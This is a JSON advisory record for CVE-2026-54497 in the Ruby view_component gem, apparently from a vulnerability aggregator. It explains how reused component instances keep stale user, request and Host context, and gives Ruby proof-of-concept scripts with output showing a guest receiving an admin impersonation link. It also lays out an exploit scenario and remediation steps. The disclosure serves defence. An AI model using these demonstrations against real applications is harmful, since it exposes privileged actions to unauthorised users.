{"id":"CVE-2026-54497","aliases":["GHSA-9h85-g7w3-rh49"],"url":"https://o3.security/vulnerability/CVE-2026-54497","summary":"view_component: Reused Component Instances Retain Stale Render Context","details":"# Reused Component Instances Retain Stale Render Context\n\n## Summary\n\n`ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render.\n\nThis can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.\n\n## Severity\n\nThe PoC demonstrates cross-user authorization impact in a realistic downstream application pattern.\nIf the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:\n\nAlternative CVSS: 8.2\nAlternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N`\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n - `render_in`\n - `controller`\n - `helpers`\n - `__vc_request`\n- `lib/view_component/slot.rb`\n - `Slot#to_s`\n- `lib/view_component/slotable.rb`\n - slot storage in `@__vc_set_slots`\n- `lib/view_component/collection.rb`\n - child component memoization and spacer rendering\n\nKey retained state:\n\n```ruby\n@view_context = view_context\nself.__vc_original_view_context ||= view_context\n@lookup_context ||= view_context.lookup_context\n@view_flow ||= view_context.view_flow\n@__vc_requested_details ||= @lookup_context.vc_requested_details\n```\n\n```ruby\n@__vc_controller ||= view_context.controller\n@__vc_helpers ||= __vc_original_view_context || controller.view_context\n@__vc_request ||= controller.request if controller.respond_to?(:request)\n```\n\nSlot children also inherit the parent original view context:\n\n```ruby\n@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context\n```\n\nCollections memoize child component instances:\n\n```ruby\nreturn @components if defined? @components\n```\n\n## Root Cause\n\nComponent instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering.\n\nThere is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.\n\nMaintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.\n\n## Proof of Concept\n\nThe following PoC demonstrates four independent effects:\n\n- stale authorization gate\n- stale Host/request data in generated absolute URLs\n- stale slot child context\n- cross-thread context mixing\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass ReusePocController < ActionController::Base\n helper_method :current_user, :admin?\n attr_accessor :current_user, :role\n def admin? = role == :admin\nend\n\nroutes = ActionDispatch::Routing::RouteSet.new\nroutes.draw { get \"/accounts/:id\", to: \"accounts#show\" }\nReusePocController.include routes.url_helpers\n\nclass AdminPanelComponent < ViewComponent::Base\n def render? = helpers.admin?\n\n def call\n href = helpers.url_for(controller: \"accounts\", action: \"show\", id: 42, only_path: false)\n \"ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}\".html_safe\n end\nend\n\nclass UrlOnlyComponent < ViewComponent::Base\n def call\n href = helpers.url_for(controller: \"accounts\", action: \"show\", id: 42, only_path: false)\n \"user=#{helpers.current_user};host=#{request.host};href=#{href}\".html_safe\n end\nend\n\nclass SlotChildComponent < ViewComponent::Base\n def call = \"child_user=#{helpers.current_user};child_path=#{request.path}\".html_safe\nend\n\nclass SlotParentComponent < ViewComponent::Base\n renders_one :child, SlotChildComponent\n def call = \"parent_user=#{helpers.current_user};parent_path=#{request.path};\".html_safe + child.to_s\nend\n\nclass RaceComponent < ViewComponent::Base\n def before_render = sleep 0.05\n def call = \"#{helpers.current_user}@#{request.path}\".html_safe\nend\n\ndef vc(user:, role:, path:, host: \"app.example\")\n c = ReusePocController.new\n c.current_user = user\n c.role = role\n c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, \"HTTP_HOST\" => host)))\n c.set_response!(ActionDispatch::Response.new)\n c.view_context\nend\n\nadmin_vc = vc(user: \"alice\", role: :admin, path: \"/admin\", host: \"admin.example\")\nguest_vc = vc(user: \"bob\", role: :guest, path: \"/guest\", host: \"app.example\")\n\npanel = AdminPanelComponent.new\nputs \"auth_admin_first=#{panel.render_in(admin_vc)}\"\nputs \"auth_guest_reused=#{panel.render_in(guest_vc)}\"\nputs \"auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}\"\n\nurl = UrlOnlyComponent.new\nputs \"host_attacker_prime=#{url.render_in(vc(user: \"attacker\", role: :guest, path: \"/prime\", host: \"evil.example\"))}\"\nputs \"host_victim_reused=#{url.render_in(vc(user: \"victim\", role: :guest, path: \"/account\", host: \"app.example\"))}\"\nputs \"host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: \"victim\", role: :guest, path: \"/account\", host: \"app.example\"))}\"\n\nparent = SlotParentComponent.new\nputs \"slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}\"\nputs \"slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}\"\nputs \"slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}\"\n\nrace = RaceComponent.new\nq = Queue.new\nt1 = Thread.new { q << [:admin, race.render_in(vc(user: \"admin\", role: :admin, path: \"/admin\"))] }\nt2 = Thread.new { q << [:guest, race.render_in(vc(user: \"guest\", role: :guest, path: \"/guest\"))] }\nt1.join\nt2.join\nresults = 2.times.map { q.pop }.to_h\nputs \"race_admin_thread=#{results[:admin]}\"\nputs \"race_guest_thread=#{results[:guest]}\"\n```\n\nObserved output:\n\n```text\nauth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42\nauth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42\nauth_guest_fresh=\"\"\n\nhost_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42\nhost_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42\nhost_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42\n\nslot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin\nslot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest\nslot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest\n\nrace_admin_thread=admin@/guest\nrace_guest_thread=admin@/guest\n```\n\n## Authorization-Impact PoC\n\nThe following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.\n\nThe component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link.\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nmodule SharedComponentRegistry\n def self.admin_toolbar\n @admin_toolbar ||= AdminToolbarComponent.new\n end\n\n def self.reset!\n remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)\n end\nend\n\nUser = Struct.new(:id, :role, keyword_init: true) do\n def admin? = role == :admin\nend\n\nclass AppController < ActionController::Base\n helper_method :current_user, :admin?\n attr_accessor :current_user\n\n def admin?\n current_user&.admin?\n end\nend\n\nroutes = ActionDispatch::Routing::RouteSet.new\nroutes.draw do\n get \"/admin/users/:id/impersonate\", to: \"admin/users#impersonate\", as: :impersonate_admin_user\nend\nAppController.include routes.url_helpers\n\nclass AdminToolbarComponent < ViewComponent::Base\n def render?\n helpers.admin?\n end\n\n def call\n helpers.link_to(\n \"Impersonate user 42\",\n helpers.impersonate_admin_user_url(42, host: request.host),\n data: { turbo_method: :post }\n )\n end\nend\n\nclass DashboardController < AppController\n def render_dashboard_with_shared_component\n render_to_string(inline: '

Dashboard

<%= render SharedComponentRegistry.admin_toolbar %>
')\n end\n\n def render_dashboard_with_fresh_component\n render_to_string(inline: '

Dashboard

<%= render AdminToolbarComponent.new %>
')\n end\nend\n\ndef controller_for(user:, host:, path: \"/dashboard\")\n c = DashboardController.new\n c.current_user = user\n c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, \"HTTP_HOST\" => host)))\n c.set_response!(ActionDispatch::Response.new)\n c\nend\n\nSharedComponentRegistry.reset!\nadmin = User.new(id: 1, role: :admin)\nguest = User.new(id: 2, role: :guest)\n\nadmin_response = controller_for(user: admin, host: \"admin.example\").render_dashboard_with_shared_component\nguest_reused_response = controller_for(user: guest, host: \"app.example\").render_dashboard_with_shared_component\nguest_fresh_response = controller_for(user: guest, host: \"app.example\").render_dashboard_with_fresh_component\n\nputs \"admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}\"\nputs \"guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}\"\nputs \"guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}\"\nputs \"guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}\"\nputs \"guest_reused_response=#{guest_reused_response.gsub(/\\s+/, ' ').strip}\"\nputs \"guest_fresh_response=#{guest_fresh_response.gsub(/\\s+/, ' ').strip.inspect}\"\n```\n\nObserved output:\n\n```text\nadmin_shared_contains_admin_link=true\nguest_reused_contains_admin_link=true\nguest_fresh_contains_admin_link=false\nguest_reused_contains_admin_host=true\nguest_reused_response=

Dashboard

Impersonate user 42
\nguest_fresh_response=\"

Dashboard

\"\n```\n\nThis confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.\n\n## Exploit Scenario\n\nA downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.\n\nPotential real-world examples:\n\n- A navigation/sidebar component checks `helpers.admin?` in `render?`.\n- A tenant switcher uses `request.host` or `current_user.account`.\n- A component emits absolute URLs or signed action links.\n- A table uses slot child components that rely on helper/request state.\n- A global UI registry stores instantiated spacer or child components.\n\nIn these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.\n\n## Impact\n\nConfirmed impact classes:\n\n- stale privileged UI rendering\n- stale user identity through `helpers`\n- stale Host/request data in generated absolute URLs\n- slot child context inheritance\n- cross-thread context corruption\n- stale format/variant template selection\n- stale `view_flow` / `content_for` writes\n- collection and spacer component context leakage\n\nThis can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.\n\n## Preconditions\n\n- The same component, collection, slot, or spacer component instance is reused across render contexts.\n- The component reads request-scoped or user-scoped APIs such as `helpers`, `controller`, `request`, URL helpers, `render?`, `before_render`, slots, variants, formats, or `content_for`.\n- Higher impact when the shared object crosses users, tenants, roles, or threads.\n\nNormal per-request usage such as `render(MyComponent.new(...))` is not affected.\n\n## Chaining Potential\n\nThis issue can chain with:\n\n- UI-only authorization checks\n- signed admin links embedded in components\n- Host header poisoning\n- multi-tenant routing based on host/subdomain\n- shared component registries\n- fragment/component caching patterns that cache objects rather than rendered strings\n- concurrent Rails servers such as Puma\n\nThe framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.\n\n## Remediation\n\nThe safest fix is to make component and collection instances one-shot renderables.\n\nRecommended options:\n\n1. Add a runtime guard in `render_in` that raises or warns when the same component instance is rendered again with a different `view_context`.\n2. Reset render-scoped ivars at the beginning of every render, including:\n - `__vc_original_view_context`\n - `@lookup_context`\n - `@view_flow`\n - `@__vc_requested_details`\n - `@__vc_controller`\n - `@__vc_helpers`\n - `@__vc_request`\n3. Rebuild `ViewComponent::Collection` child component instances per render or document/enforce collections as one-shot.\n4. Avoid accepting a reusable instantiated `spacer_component`, or reset/clone it before rendering.\n5. Add thread-safety tests for concurrent rendering of a shared instance.","published":"2026-07-17T20:45:28.338Z","modified":"2026-08-12T03:51:35.298818168Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00249,"percentile":0.1643,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"view_component","fixedVersion":"4.12.0"}],"fix":{"url":"https://github.com/ViewComponent/view_component/commit/6796b2e89d0bd7b9d7d763a86275e5334731dd61","label":"ViewComponent/view_component@6796b2e"},"references":[{"type":"WEB","url":"https://github.com/ViewComponent/view_component/releases/tag/v4.12.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54497.json"},{"type":"ADVISORY","url":"https://github.com/ViewComponent/view_component/security/advisories/GHSA-9h85-g7w3-rh49"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54497"},{"type":"FIX","url":"https://github.com/ViewComponent/view_component/commit/6796b2e89d0bd7b9d7d763a86275e5334731dd61"},{"type":"WEB","url":"https://github.com/ViewComponent/view_component/commit/7b05073be28037f7d5ff141e9dd42f3cf47956a4"},{"type":"PACKAGE","url":"https://github.com/ViewComponent/view_component"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54497.yml"},{"type":"WEB","url":"https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54497"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.298818168Z"}}